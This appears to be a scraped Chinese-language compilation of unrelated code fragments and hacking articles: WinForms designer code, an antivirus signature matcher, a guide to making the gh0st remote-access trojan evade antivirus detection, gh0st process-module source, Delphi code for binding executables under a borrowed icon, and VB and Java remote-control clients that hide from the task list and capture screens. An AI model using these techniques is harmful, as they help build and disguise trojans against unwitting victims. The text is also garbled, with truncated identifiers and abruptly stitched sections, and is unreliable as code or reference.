null){foreach (InputBinding commandBinding in mainEditorCustomInputBindings){if (mand == null){activeEditorInputBindings.Add(commandBinding);}}}#if SILVERLIGHTCommandManager.SetInputBindings(activeEditor, activeEditorInputBindings);#endif}// TODO move to RadRichTextBox?private static IEnumerable<InputBinding> FindInputBindingsForCommand(InputBindingCollection inputBindings, RoutedCommand command){if (inputBindings == null){return Enumerable.Empty<InputBinding>();}return from InputBinding ib in inputBindingswhere mand == commandselect ib;}protected abstract void UpdateOwnerUIContext();protected void SetDocumentSilently(RadDocument document){this.isDocumentContentChangeSuspended = true;this.BodyRichTextBox.Document = document;this.isDocumentContentChangeSuspended = false;}private void BodyRichTextBox_DocumentPresentationChanged(object sender, EventArgs e) {if (!this.isDocumentContentChangeSuspended){stHeaderFooterChangeSource = this;this.UpdateSource();}}#endregion}}}//§合同约束类//using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Windows;using System.Windows.Controls;using System.Windows.Data;using System.Windows.Documents;using System.Windows.Input;using System.Windows.Media;using System.Windows.Media.Imaging;using System.Windows.Navigation;using System.Windows.Shapes;using System.IO;public partial class合同约束{/// Required designer variable.private ponentModel.IContainer components = null;/// Clean up any resources being used.///<param name="disposing">true if managed resources should be disposed; otherwise, false.</param>protected override void Dispose(bool disposing){if (disposing && (components != null)){components.Dispose();}base.Dispose(disposing);}#region Windows Form Designer generated code/// Required method for Designer support - do not modify/// the contents of this method with the code editor.private void InitializeComponent(){ponents = new ponentModel.Container();this.radGridView1 = new Telerik.WinControls.UI.RadGridView();this.customersBindingSource = new System.Windows.Forms.BindingSource(ponents);this.nwindRadGridView = new Telerik.Examples.WinControls.DataSources.NorthwindDataSet();this.customersTableAdapter = new Telerik.Examples.WinControls.DataSources.NorthwindDataSetTableAdapters.CustomersTableAda pter();this.radGroupBox1 = new Telerik.WinControls.UI.RadGroupBox();this.radRadioButtonTitleCountryCity = new Telerik.WinControls.UI.RadRadioButton();this.radRadioButtonContactTitleCity = new Telerik.WinControls.UI.RadRadioButton();this.radRadioButtonCountry = new Telerik.WinControls.UI.RadRadioButton();this.radRadioButtonCity = new Telerik.WinControls.UI.RadRadioButton();this.radRadioButtonContactTitle = new Telerik.WinControls.UI.RadRadioButton();this.radRadioButtonContactName = new Telerik.WinControls.UI.RadRadioButton();this.radRadioButtonPostalCode = new Telerik.WinControls.UI.RadRadioButton();this.radRadioButtonNone = new Telerik.WinControls.UI.RadRadioButton();this.radRadioButtonDesc = new Telerik.WinControls.UI.RadRadioButton();this.radRadioButtonAsc = new Telerik.WinControls.UI.RadRadioButton();this.radLabel1 = new Telerik.WinControls.UI.RadLabel();this.radGroupBox2 = new Telerik.WinControls.UI.RadGroupBox();this.radLabelCol = new Telerik.WinControls.UI.RadLabel();((ponentModel.ISupportInitialize)(this.settingsPanel)).BeginInit();this.settingsPanel.SuspendLayout();((ponentModel.ISupportInitialize)(this.radGridView1)).BeginInit();((ponentModel.ISupportInitialize)(this.radGridView1.MasterTemplate)).BeginI nit();((ponentModel.ISupportInitialize)(this.customersBindingSource)).BeginInit(); ((ponentModel.ISupportInitialize)(this.nwindRadGridView)).BeginInit();((ponentModel.ISupportInitialize)(this.radGroupBox1)).BeginInit();this.radGroupBox1.SuspendLayout();((ponentModel.ISupportInitialize)(this.radRadioButtonTitleCountryCity)).Begin Init();((ponentModel.ISupportInitialize)(this.radRadioButtonContactTitleCity)).Begin Init();((ponentModel.ISupportInitialize)(this.radRadioButtonCountry)).BeginInit();((ponentModel.ISupportInitialize)(this.radRadioButtonCity)).BeginInit();((ponentModel.ISupportInitialize)(this.radRadioButtonContactTitle)).BeginInit( );((ponentModel.ISupportInitialize)(this.radRadioButtonContactName)).BeginIni t();((ponentModel.ISupportInitialize)(this.radRadioButtonPostalCode)).BeginInit(); ((ponentModel.ISupportInitialize)(this.radRadioButtonNone)).BeginInit();((ponentModel.ISupportInitialize)(this.radRadioButtonDesc)).BeginInit();((ponentModel.ISupportInitialize)(this.radRadioButtonAsc)).BeginInit();((ponentModel.ISupportInitialize)(this.radLabel1)).BeginInit();((ponentModel.ISupportInitialize)(this.radGroupBox2)).BeginInit();this.radGroupBox2.SuspendLayout();((ponentModel.ISupportInitialize)(this.radLabelCol)).BeginInit();this.SuspendLayout();//// settingsPanel//this.settingsPanel.Controls.Add(this.radGroupBox2);this.settingsPanel.Controls.Add(this.radGroupBox1);this.settingsPanel.ForeColor = System.Drawing.Color.White;this.settingsPanel.Location = new System.Drawing.Point(779, 1);//////this.settingsPanel.RootElement.ForeColor = System.Drawing.Color.White;this.settingsPanel.Size = new System.Drawing.Size(200, 784);this.settingsPanel.ThemeName = "ControlDefault";this.settingsPanel.Controls.SetChildIndex(this.radGroupBox1, 0);this.settingsPanel.Controls.SetChildIndex(this.radGroupBox2, 0);//// radGridView1//this.radGridView1.Anchor = System.Windows.Forms.AnchorStyles.None;this.radGridView1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(248)))), ((int)(((byte)(248)))), ((int)(((byte)(248)))));this.radGridView1.ForeColor = System.Drawing.Color.Black;this.radGridView1.Location = new System.Drawing.Point(120, 134);this.radGridView1.Dock = System.Windows.Forms.DockStyle.Fill;//////this.radGridView1.MasterTemplate.AllowAddNewRow = false;this.radGridView1.MasterTemplate.AllowDragToGroup = false;this.radGridView1.MasterTemplate.AutoSizeColumnsMode = Telerik.WinControls.UI.GridViewAutoSizeColumnsMode.Fill;this.radGridView1.MasterTemplate.Caption = null;this.radGridView1.MasterTemplate.EnableGrouping = false;this.radGridView1.MasterTemplate.ShowGroupedColumns = true; = "radGridView1";//////this.radGridView1.RootElement.ForeColor = System.Drawing.Color.Black;this.radGridView1.Size = new System.Drawing.Size(740, 547);this.radGridView1.TabIndex = 0;this.radGridView1.Text = "radGridView1";this.radGridView1.ThemeName = "Telerik";//// customersBindingSource//this.customersBindingSource.DataMember = "Customers";this.customersBindingSource.DataSource = this.nwindRadGridView;//// nwindRadGridView//this.nwindRadGridView.DataSetName = "NwindRadGridView";this.nwindRadGridView.SchemaSerializationMode = System.Data.SchemaSerializationMode.IncludeSchema;//// customersTableAdapter//this.customersTableAdapter.ClearBeforeFill = true;//// radGroupBox1//this.radGroupBox1.Controls.Add(this.radRadioButtonTitleCountryCity);。
杀毒软件源代码
{ //枚举进程模块 if (EnumProcessModules(hProc,hMod,sizeof(hMod),&cbNeeded_2)) { //枚举进程模块文件名,包含全路径 if (GetModuleFileNameEx(hProc,hMod[0],ProcFile,sizeof(ProcFile))) { printf("[%5d]\t%s\n",lpidProcess[i],ProcFile); //输出进程 //可以考虑将其注释掉,这样就不会输出进程列表了 Pcount++;
fp=fopen(V_FileName,"rb"); //以二进制只读方式打开 if (fp==NULL) {
printf("File open FAIL\n"); fclose(fp); return returnvalue; }
fseek(fp,V_FileOffset,SEEK_SET); //把文件指针指向特征码在文件的偏移地址处 fread(FileContents,V_Length,1,fp);//读取长度为特征码长度的内容 cmpreturn=memcmp(V_Contents,FileContents,V_Length); //进行特征码匹配。失败返回FALSE if (cmpreturn==LOW) { printf("File Match completely\n"); //打印文件匹配消息 strcpy(name,V_FileName); //将文件名保存在全局变量name中 exit(0); } else returnvalue=FALSE; }
远控软件gh0st源码免杀之我谈
远控软件gh0st源码免杀之我谈远控软件gh0st3.6开源了,开源意味着我们可以在此基础上进行二次开发,同时也意味着杀软可以较容易的查杀该款远控木马,既然要利用,我们就做好源码基础上的木马免杀工作。
好久没有来博客了,我把免杀这部分整理了一下,先抛一砖头,有兴趣的朋友可以接着做,也可以和本人交流。
序gh0st远控软件采用驱动级RESSDT过主动,svchost参数启动,替换系统服务的方式工作的,工作方式较为先进,美中不足的部分是没有进行驱动级或用户级隐藏,当然这部分可以添加进去。
编码利用了VC的编程环境。
一、环境配置编译环境一定要配置好:DDK+SDK+VC6,DDK用来编译sys文件的,SDK+VC6是用来编译工程的,配置部分比较简单,网上有很多资料,这里不再详述,有兴趣的朋友也可以查看DDK和SDK的相关帮助。
二、特征码定位简述杀毒软件查杀木马的原理基本是根据特征查杀的,被查杀的部分我们称之为特征码,所以我们可以利用特征码定位工具MyCLL定位出病毒的特征码位置,定位工具原理是将被扫描木马分块,利用分段填充的方式,匹配杀软的特征值,找到杀软查杀病毒的位置。
定位出特征码,如何反向找到源码中的对应位置呢?请看下面分析,三、二进制文件与源码定位之map文件利用map文件是二进制和源码之间对应的一个映射文件。
我们假设根据第三步我们定位出了病毒的特征码:病毒名称特征码位置内存地址svchost.dll 000038AA_00000002 100044AAsvchost.dll 00005F98_00000002第一步设置VC编译环境生成Map文件。
在VC 中,点击菜单“Project -> Settings”选项页(或按下Alt+F7),选择C/C++ 选项卡,并在最下面的Project Options 里面输入:/Zd ,然后要点击 Link 选项卡,选中“Generate mapfile”复选框,并在最下面的 Project Options 里面输入:/mapinfo:lines,表示生成 MAP 文件时,加入行信息。
Radmin生成器源码——附详细注释
'====================以上为API函数声明、常数声明及数据类型声明====================
Private Function GetProcessPID(sEXEName As String, Optional ByVal ID As Long = 1) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
dwIndex As Long
uType As Long
uDhcpEnabled As Long
基于Java的远程桌面监控源代码
基于Java的远程桌面监控源代码来源:熊哲的日志import java.io.*;import java.awt.Choice;import java.awt.Dialog;import java.awt.FlowLayout;import java.awt.BorderLayout;import java.awt.Font;import java.awt.Color;import .Socket;import .InetAddress;import javax.swing.*;import java.awt.event.ActionListener;import java.awt.event.ActionEvent;import java.awt.event.WindowAdapter;import java.awt.event.WindowEvent;import java.awt.event.KeyAdapter;import java.awt.event.KeyEvent;import javax.swing.tree.DefaultMutableTreeNode; import javax.swing.tree.DefaultTreeCellRenderer; import javax.swing.tree.DefaultTreeModel;import javax.swing.tree.TreePath;import javax.swing.tree.TreeNode;import java.awt.Image;import javax.swing.ImageIcon;import java.awt.Toolkit;public class midClient{public static void main(String[] args) throws IOException{try{UIManager.setLookAndFeel("com.sun.jav a.swing.plaf.windows.WindowsLookAndFeel");}catch(Exception e1){}new Ctree();}}class Ctree extends JFrame implements ActionListener{boolean disConnect=false;boolean passOk=true;boolean startPort=false;boolean DialogApp=false;boolean existFile;FileOutputStream fo;//*************************************1JMenuBar menu=new JMenuBar();JMenu mnuFile =new JMenu("文件");JMenuItem AddComputer =new JMenuItem("添加新主机");JMenuItem mnuFileExit =new JMenuItem("退出");//*************************************2JButton Addcomputer=new JButton("隐藏主机");JLabel Host=new JLabel("选择主机");JPanel H_A=new JPanel();Choice Address=new Choice();JLabel ConnectIp=new JLabel(" 服务器IP地址 ");JTextField ConnectIpText=new JTextField(14);//*************************************3DefaultMutableTreeNode Root = new DefaultMutableTreeNode("远程控制管理器");JTree tree = new JTree(Root);;JPopupMenu popM=new JPopupMenu();JMenuItem cy_load=new JMenuItem("下载");JMenuItem cy_delect=new JMenuItem("删除");JMenuItem cy_refurbish=new JMenuItem("刷新子项");JFileChooser Jsave=new JFileChooser();JScrollPane treePane=new JScrollPane();DefaultTreeCellRenderer cellRenderer=null;DefaultMutableTreeNode node1=null;DefaultTreeModel treeModel;File selectFile;//*************************************4Socket ClientSocket=null; //声名一个套接字 String HostName=null;int IPPort=0;PrintWriter out=null;BufferedReader in=null;//子窗口按钮Dialog AddHost=null;JTextField Computer=null;JTextField Port1=null;JButton ok=new JButton("确定");JButton cancel=new JButton("取消");Dialog listen =null;JPasswordField passw =new JPasswordField(10); JButton ok1 =new JButton("确认"); JButton cancel1 =new JButton("取消");File inputFile =new File("d:/");File[] list=inputFile.listRoots();int Jrate=0;int finish=0;int ByteNum;String fileName;boolean copy=false;public Ctree(){this("远程管理器");}public Ctree(String Title){super(Title);Imagetitlephone=Toolkit.getDefaultToolkit().createImage("./icons/client.gi f");this.setIconImage(titlephone);this.setSize(600,500);this.setJMenuBar(menu);tree.setShowsRootHandles(true);setFont();addWindows();// tree.setEditable(false);ConnectIpText.setEditable(false);addListen();try{File AdressFile=newFile("HostAddress.txt");if(!AdressFile.exists()){AdressFile.createNewFile();}FileReader readIn=newFileReader(AdressFile);BufferedReader bufin=new BufferedReader(readIn);String choiceList=null;String address,port;while((choiceList=bufin.readLine())!=nul l){Root.add(new DefaultMutableTreeNode(choiceList));Address.add(choiceList);}bufin.close();readIn.close();this.setVisible(true);}catch(Exception E){}}//******************************设置字体public void setFont(){mnuFile.setFont(new Font("宋体",Font.PLAIN,12));AddComputer.setFont(new Font("宋体",Font.PLAIN,12));mnuFileExit.setFont(new Font("宋体",Font.PLAIN,12));//2Addcomputer.setFont(new Font("宋体",Font.PLAIN,13));Host.setFont(new Font("宋体",Font.PLAIN,13));Address.setFont(new Font("宋体",Font.PLAIN,13));ConnectIp.setFont(new Font("宋体",Font.PLAIN,13));ConnectIpText.setFont(new Font("宋体",Font.PLAIN,13));//popcy_load.setFont(new Font("宋体",Font.PLAIN,12));cy_delect.setFont(new Font("宋体",Font.PLAIN,12));cy_refurbish.setFont(new Font("宋体",Font.PLAIN,12));}//******************************加入窗口容器public void addWindows(){mnuFile.add(AddComputer);mnuFile.addSeparator();mnuFile.add(mnuFileExit);menu.add(mnuFile);H_A.add(Addcomputer);H_A.add(Host);H_A.add(Address);H_A.add(ConnectIp);H_A.add(ConnectIpText);tree.setRowHeight(21);tree.setCellRenderer(new EnhancedTreeCellRenderer());cellRenderer =(DefaultTreeCellRenderer)tree.getCellRenderer();cellRenderer.setFont(new Font("宋体",Font.PLAIN,14));cellRenderer.setBackgroundNonSelectionColor(Color.whit e);cellRenderer.setBackgroundSelectionColor(Color.blue);cellRenderer.setBorderSelectionColor(Color.yellow);cellRenderer.setTextNonSelectionColor(Color.black);cellRenderer.setTextSelectionColor(Color.white);getContentPane().add(newJScrollPane(tree),BorderLayout.CENTER);popM.add(cy_load);popM.add(cy_delect);popM.addSeparator();popM.add(cy_refurbish);tree.add(popM);//*****************getContentPane().add(H_A,BorderLayout.NORTH);}//****************************监听信息public void addListen(){AddComputer.addActionListener(this);mnuFileExit.addActionListener(this);Addcomputer.addActionListener(this);//popcy_refurbish.addActionListener(this);cy_load.addActionListener(this);cy_delect.addActionListener(this);tree.addMouseListener(newHandleMouse(this));this.addWindowListener(newWinAdptClient(this));//AddHost中的Button监听ok.addActionListener(this);cancel.addActionListener(this);//listen中的Button监听ok1.addActionListener(this);cancel1.addActionListener(this);}/**********************************监听事件代码******************************/public void actionPerformed(ActionEvent e){if(e.getSource()==AddComputer){dialog();}else if(e.getSource()==Addcomputer){if(this.startPort){if(e.getActionCommand()=="隐藏主机"){out.println("hideServer");out.flush();Addcomputer.setActionCommand("显示主机");Addcomputer.setName("显示主机");Addcomputer.updateUI();}else{out.println("appearServer");out.flush();Addcomputer.setActionCommand( "隐藏主机");Addcomputer.setName("隐藏主机");Addcomputer.updateUI();}}}else if(e.getSource()==mnuFileExit){saveInit();quit();this.dispose();System.exit(0);}else if(e.getSource()==cy_refurbish){update();}else if(e.getSource()==cy_load){//要把文件路径给传过去connectThread star=new connectThread(this);star.start();}else if(e.getSource()==cy_delect){try{intparameter=JOptionPane.showConfirmDialog(null,"是否删除文件"+String.valueOf(tree.getSelectionPath()),"删除["+HostName+"]",JOptionPane.YES_NO_OPTION);if(parameter==0){Stringstr=String.valueOf(tree.getSelectionPath());out.println("&delect&");out.flush();// System.out.println(str);out.println(str);out.flush();str=in.readLine();if(str.equals("1")){treeModel = (DefaultTreeModel)tree.getModel();TreePath treepath = tree.getSelectionPath();if (treepath != null){DefaultMuta bleTreeNode selectionNode = (DefaultMutableTreeNode)treepath.getLast PathComponent();TreeNode parent = (TreeNode)selectionNode.getParent();if (parent != null){t reeModel.removeNodeFromParent(selectionNode);// t reeModel.reload();}}}}}catch(IOException E){}}else if(e.getSource()==ok1){listen.dispose();}else if(e.getSource()==cancel1){passOk=false;HostName=null;passw.setText("");out.println("&exit&");out.flush();listen.dispose();// quit();}else if(e.getSource()==ok){addchoice();}else if(e.getSource()==cancel){AddHost.dispose();}}/**********************修改端口***********************/public void dialog(){AddHost=new Dialog(this,"添加远程主机",true);AddHost.addWindowListener(new WindowAdapter(){public void windowClosing(WindowEvent e){Add Host.dispose();}});JPanel p1=new JPanel(new BorderLayout());JPanel p2=new JPanel(new FlowLayout());JPanel p11=new JPanel();JPanel p12=new JPanel();// Panel p13=new Panel(new FlowLayout());JLabel label1=new JLabel("主机 : ");Computer=new JTextField(12);JLabel label2=new JLabel("端口 : ");Port1=new JTextField(12);// JLabel label3=new JLabel("密码 : ");// JPasswordField mima=new JPasswordField(13);Computer.addKeyListener(new KeyLis(this,2));Port1.addKeyListener(new KeyLis(this,2));label1.setFont(new Font("宋体",Font.PLAIN,12));Computer.setFont(new Font("宋体",Font.PLAIN,12));label2.setFont(new Font("宋体",Font.PLAIN,12));Port1.setFont(new Font("宋体",Font.PLAIN,12));ok.setFont(new Font("宋体",Font.PLAIN,12));cancel.setFont(new Font("宋体",Font.PLAIN,12));p2.add(ok);p2.add(cancel);p11.add(label1);p11.add(Computer);p12.add(label2);p12.add(Port1);// p13.add(label3);// p13.add(mima);p1.add("North",p11);p1.add("Center",p12);// p1.add("South",p13);AddHost.add("North",p1);AddHost.add("Center",p2);//AddHost.setBounds(200,150,400,130);AddHost.setSize(150,150);AddHost.show();}//服务器文件存储。
远程调用技术代码追踪之socket底层分析与线程池技术
远程调用技术代码追踪之(socket二Server底层分析与线程池技术)近阅读了SocketConn的源码和WebService 的源码,把追踪的过程写了下来,方便大家学习。
毕竟这需要精力,时间和毅力。
感谢煮茶待英雄博志区和三层数据库讨论区兄弟们的支持,特别是julian兄弟,不是他,我可能没耐心继续下去。
如果有时间,大家可以继续完善。
从socket和Websevice的底层实现细节,我们发现BORLAND的工程师们的构思和实现的过程。
我觉得这对我们的学习应该是非常重要的。
学会思考。
学会读源码,学会分析。
希望和我交往的朋友可通过QQ或Email联系我。
Wu_yanan2003@另见:《远程调用技术代码追踪(webservice) 》另见:《远程调用技术代码追踪(socker) 》另见:《远程调用技术代码追踪(asta) 》另见:《远程调用技术代码追踪(RO) 》Socker网络控件分析:在上一篇中已经分析了代码,但觉得网络这一块分析的不够。
特写出来做为补充。
TSocketForm.Initialize -> ReadSettings -> CreateItem ->SH := TSocketDispatcher.Create(nil)TsocketDispatcher是TserverSocket的派生,所以在TServerSocket.Create事件中可以看到:FServerSocket := TServerWinSocket.Create(INV ALID_SOCKET); 创建了TserverWinSocket这个类,说明TsocketDispatcher本身是借助TserverWinSocket实现底层通信的。
继续分析:constructor TServerWinSocket.Create(ASocket: TSocket);begin…inherited Create(ASocket);…end;constructor TCustomWinSocket.Create(ASocket: TSocket);begin..Startup; 函数内部-> ErrorCode := WSAStartup($0101, WSAData);end;继续回到CreateItem函数中的TsocketDispatcher. Openprocedure TCustomServerSocket.DoActivate(V alue: Boolean);FServerSocket.Listen(FHost, FAddress, FService, FPort, SOMAXCONN);end;procedure TServerWinSocket.Listen(var Name, Address, Service: string; Port: Word;QueueSize: Integer);begininherited Listen(Name, Address, Service, Port, QueueSize, ServerType = stThreadBlocking);if FConnected and (ServerType = stThreadBlocking) thenFServerAcceptThread := TServerAcceptThread.Create(False, Self);end;这里分析一下:1.首先调用了Listen这个函数。
gh0st源码分析与远控的编写(四)
gh0st源码分析与远控的编写(四)本文轉自:/C/gh0st_1.html 原作者: phithon以后对于gh0st的文章,就是一个一个模块的分析。
原本gh0st 就是由很多功能组成的一个强大的远控,但有些东西并不是功能越强大越好。
我们到最后,会做一个gh0st的精简,留下最重要的功能,淘汰一些庞大而容易暴露的功能。
所以,只有我们模块化了一个软件之后,我们才能更方便地去删除或增加一个功能,否则删除掉某个模块之后导致整个gh0st运行不了了,得不偿失。
今天带来的是进程管理模块,这个模块文件是SystemManager.cpp。
我们先来看被控端,一个获取当前进程列表的模块。
调用的相关api是CreateToolhelp32Snapshot -> Process32First -> OpenProcess -> EnumProcessModules -> GetModuleFileNameEx -> Process32Next -> CloseHandle 首先调用CreateToolhelp32Snapshot 创建当前进程列表的快照,再调用Process32First获得快照中第一个进程句柄,OpenProcess打开此进程,EnumProcessModules列举这个进程引用的模块(第一个模块就是进程自身,原本这个函数应该返回该进程所有模块的一个数组,但因为我只需要第一个模块,所以传入一个HMODULE型地址即可)。
得到他自身的模块后,GetModuleFileNameEx获得其完整名称。
此时就算获取到了进程列表中一个进程信息,再使用Process32Next获得下一个进程,重复以上步骤。
最后当Process32Next获取不到进程后,就算将整个进程列表快照遍历完了,调用CloseHandle关闭快照句柄即可。
流程图如下:下面就是gh0st中,获取进程列表的代码:01 LPBYTE CSystemManager::getProcessList()02 {03 HANDLE hSnapshot = NULL;04 HANDLE hProcess = NULL;05 HMODULE hModules = NULL;06 PROCESSENTRY32 pe32 = {0};07 DWORD cbNeeded;08 char strProcessName[MAX_PATH] = {0};09 LPBYTE lpBuffer = NULL;10 DWORD dwOffset = 0;11 DWORD dwLength = 0;12 DebugPrivilege(SE_DEBUG_NAME, TRUE); //提取权限13 //创建系统快照14 hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);1516 if(hSnapshot == INVALID_HANDLE_VALUE)17 return NULL;1819 pe32.dwSize = sizeof(PROCESSENTRY32);2021 lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //暂时分配一下缓冲区2223 lpBuffer[0] = TOKEN_PSLIST; //注意这个是数据头一会我们到主控端来搜索这个数据头24 dwOffset = 1;2526 if(Process32First(hSnapshot, &pe32)) //得到第一个进程顺便判断一下系统快照是否成功27 {28 do29 {30 //打开进程并返回句柄31 hProcess =OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);32 if ((pe32.th32ProcessID !=0 ) &&(pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))33 {34 //枚举第一个模块句柄也就是自身35 EnumProcessModules(hProcess,&hModules, sizeof(hModules), &cbNeeded);36 //得到自身的完整名称37 GetModuleFileNameEx(hProcess,hModules, strProcessName, sizeof(strProcessName));38 //开始计算占用的缓冲区,我们关心他的发送的数据结构39 // 此进程占用数据大小40 dwLength = sizeof(DWORD) +lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;41 // 缓冲区太小,再重新分配下42 if (LocalSize(lpBuffer) <(dwOffset + dwLength))43 lpBuffer =(LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);4445 //接下来三个memcpy就是向缓冲区里存放数据数据结构是进程ID+进程名+0+进程完整名+046 //为什么加0 ?因为字符数据是以0结尾的47 memcpy(lpBuffer + dwOffset,&(pe32.th32ProcessID), sizeof(DWORD));48 dwOffset += sizeof(DWORD);4950 memcpy(lpBuffer + dwOffset,pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);51 dwOffset +=lstrlen(pe32.szExeFile) + 1;5253 memcpy(lpBuffer + dwOffset,strProcessName, lstrlen(strProcessName) + 1);54 dwOffset +=lstrlen(strProcessName) + 1;55 }56 }57 while(Process32Next(hSnapshot,&pe32)); //继续得到下一个快照58 }59 //用lpbuffer获得整个缓冲区60 lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset,LMEM_ZEROINIT|LMEM_MOVEABLE);6162 DebugPrivilege(SE_DEBUG_NAME, FALSE); //还原提权63 CloseHandle(hSnapshot); //释放句柄64 return lpBuffer; //这个数据返回后就是发送了之前讲过了,我们可以到主控端去搜索TOKEN_PSLIST了。
高级黑客技巧之源代码篇
高级黑客技巧之源代码部分目录1、捆绑执行文件方法及源代码(2-6页)2、Win2k命令行下的Sniffer源代码(7-14页)3、SMTP协议原始命令码和工作原理(15-18页)4、Windows外壳扩展编程之添加右键菜单(19-30页)5、利用DELPHI编写WINDOWS外壳(31-37页)6、利用Hook技术实现键盘监控(38-40页)1、捆绑执行文件方法及源代码最新功能:与其它程序捆绑后,图标为其它程序的图标这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上%$#@*^ 功能...程序中几个数字的确定:1 在本程序编译后用Aspack.Exe压缩,大小为414722 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据位于从第40752字节开始共640字节,图标后还有81字节与其它程序捆绑的过程:本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部怎么找到图标的位置:将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制编辑软件载入,查找“99 99 99”字符串即可。
以后你可为程序加上其它合适的图标。
十六进制编辑软件:常用UltraEdit。
本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题:/download/hexedit.exe}program exe2;usesclasses,Tlhelp32,windows,graphics,ShellAPI,SysUtils;{$R *.RES}varlppe:TProcessEntry32;found:boolean;handle:THandle;ProcessStr,ExeName:string;WinDir:pchar;constMySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}procedure copy2(s:string);vars1,s2,IcoStream:TMemoryStream;File2:TFilestream;ch:array[0..1] of char;ss:string;filetime,fhandle:integer;l:integer;File2Icon:Ticon;begin{若文件s不存在}if FileExists(s)=False then exit;try{若文件不含图标,就不捆绑}File2Icon:=Ticon.Create;l:=extracticon(handle,pchar(s),0);if l=0 thenbeginFile2Icon.Free;exit;endelsebegin{提取被捆绑程序图标}File2Icon.Handle:=extracticon(handle,pchar(s),0);IcoStream:=TMemoryStream.Create;File2Icon.SaveToStream(IcoStream);File2Icon.Free;end;{判断文件s中有没有第2个程序头'MZ'。
VBwinsock远程协助代码(客户端)
VBwinsock远程协助代码(客户端)VB远程控制源码[远程运行或传递文件,可以控制鼠标]控制端form文件[VBP文件另附]Dim ms As BooleanDim sh As BooleanDim ke As BooleanDim mo As BooleanDim x As IntegerPrivate Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As LongPrivate Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)Private Const MOUSEEVENTF_LEFTDOWN = &H2Private Const MOUSEEVENTF_LEFTUP = &H4Private Declare Sub Sleep Lib "kernel32.DLL" (ByVal dwMilliseconds As Long)Private Declare Function fCreateShellLink Lib "vb6stkit.dll" (ByVal lpstrFolderName As String, ByVal lpstrLinkName As String, ByVal lpstrLinkPath As String, ByVal lpstrlinkarguments As String, ByVal fprivate As Long, ByVal sparent As String) As Long'Public Sub SendFile(FileName As String, WinS As Winsock) ''FileName 为要传送的文件名,WinS为发送文件的WinSock控件'Dim FreeF As Integer '空闲的文件号'Dim LenFile As Long '文件的长度'Dim bytData() As Byte '存放数据的数组'FreeF = FreeFile '获得空闲的文件号'Open FileName For Binary As #FreeF '打开文件'DoEvents'LenFile = LOF(FreeF) '获得文件长度'If LenFile <= iMax Then '如果要发送的文件小于数据块大小,直接发送'ReDim bytData(1 To LenFile) '根据文件长度重新定义数组大小'Get #FreeF, , bytData '把文件读入到数组里'Close #FreeF '关闭文件'WinS.SendData bytData '发送数据'Exit Sub'End If''文件大于数据块大小,进行分块发送'Do Until (iPos >= (LenFile - iMax)) '发送整块数据的循环'ReDim bytData(1 To iMax)'Get #FreeF, iPos + 1, bytData'WinS.SendData bytData'iPos = iPos + iMax '移动iPos,使它指向下来要读的数据'Loop''这里要注意的是,必须检查文件有没有剩下的数据,如果文件大小正好等于数据块大小的'' 整数倍,那么就没有剩下的数据了'ReDim bytData(1 To LenFile - iPos) '发送剩下的不够一个数据块的数据'Get #FreeF, iPos + 1, bytData'WinS.SendData bytData'Close #FreeF'End SubPublic Sub SEND()'FileName 为要传送的文件名,WinS为发送文件的WinSock控件Dim FreeF As Integer '空闲的文件号Dim LenFile As Long '文件的长度Dim bytData() As Byte '存放数据的数组FreeF = FreeFile '获得空闲的文件号Open "D:\1.bmp" For Binary As #FreeF '打开文件DoEventsLenFile = LOF(FreeF) '获得文件长度If LenFile <= iMax Then '如果要发送的文件小于数据块大小,直接发送ReDim bytData(1 To LenFile) '根据文件长度重新定义数组大小Get #FreeF, , bytData '把文件读入到数组里Close #FreeF '关闭文件Winsock3.SendData bytData '发送数据Exit SubEnd IfDo Until (iPos >= (LenFile - iMax)) '发送整块数据的循环ReDim bytData(1 To iMax)Get #FreeF, iPos + 1, bytDataWinsock3.SendData bytDataiPos = iPos + iMax '移动iPos,使它指向下来要读的数据Loop'这里要注意的是,必须检查文件有没有剩下的数据,如果文件大小正好等于数据块大小的' 整数倍,那么就没有剩下的数据了ReDim bytData(1 T o LenFile - iPos) '发送剩下的不够一个数据块的数据Get #FreeF, iPos + 1, bytDataWinS.SendData bytDataClose #FreeFEnd SubFunction scr()' Call keybd_event(vbKeySnapshot, 1, 0, 0) '当前窗体Call keybd_event(vbKeySnapshot, 0, 0, 0) '全屏DoEventsMe.Picture = Clipboard.GetData(vbCFBitmap) SavePicture Me.Picture, "D:\1.bmp"End FunctionPrivate Sub Command1_Click()Winsock3.SendData "1"End Sub'SetCursorPos 500, 500'mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0 'mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0Private Sub Form_Load()x = 0App.TaskVisible = Falsems = Falsesh = TrueWinsock1.Protocol = sckUDPProtocolWinsock1.RemoteHost = 